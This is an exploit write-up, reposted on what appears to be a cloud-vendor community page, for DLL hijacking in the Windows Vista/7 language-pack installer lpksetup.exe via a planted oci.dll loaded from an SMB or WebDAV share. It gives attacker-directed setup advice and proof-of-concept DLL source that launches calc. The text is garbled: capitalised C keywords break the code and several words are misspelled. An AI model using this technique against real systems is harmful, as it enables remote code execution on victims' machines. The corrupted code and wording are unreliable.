Windows Vista/7 lpksetup.exe DLL hijacking

Source: Internet
Author: User

/*
Exploit: Windows Vista/7 lpksetup.exe (oci. dll) DLL Hijacking
Vulnerability
Extension:. mlc
Author: Taylor Borland (tborland1@gmail.com)
Date: 10/20/2010
Tested on: Windows 7 Ultimate (Windows Vista Ultimate/Enterpries and
Windows 7 Enterprise shoshould be vulnerable as well)
Effect: Remote Code Execution

Lpksetup is the language pack installer that is already ded by default
Windows Vista/7 Ultimate or Enterprise editions. By opening a. mlc file
Through something like an open SMB or WebDav share, the oci. dll file will be
Grabbed and ran in the context of the vulnerable application.

This is a LoadLibrary () load path bug. The load library search order is:
1. The directory from which the application loaded
2. 32-bit System directory (WindowsSystem32)
3. 16-bit System directory (WindowsSystem)
4. Windows directory (Windows)
5. Current working directory
6. Directories in the PATH environment variable
As OracleOciLib is not used on target system, oci. dll does not exist, so if
A full path is not supplied when calling the dll or the search path has not
Been cleared before the call, we will hit our own th search path and load
Library from the remote filesystem.

Interestingly enough, while lpksetup is blocked for execution by UAC under
Normal user, the injected library (payload) will still execute.
Exploiters make sure your systems security policy, secpol. msc, allows
Complete anonymous share access for connecting users.
Outlook links seem to be the current exploit toyland, other vectors:
Http://www.binaryplanting.com/attackVectors.htm
*/

# Include <windows. h>

Int main ()
{
WinExec ("calc", SW_NORMAL); // the typical non-lethal PoC
Exit (0 );
Return 0;
}

Bool winapi DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
Main ();
Return 0;
}
 

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.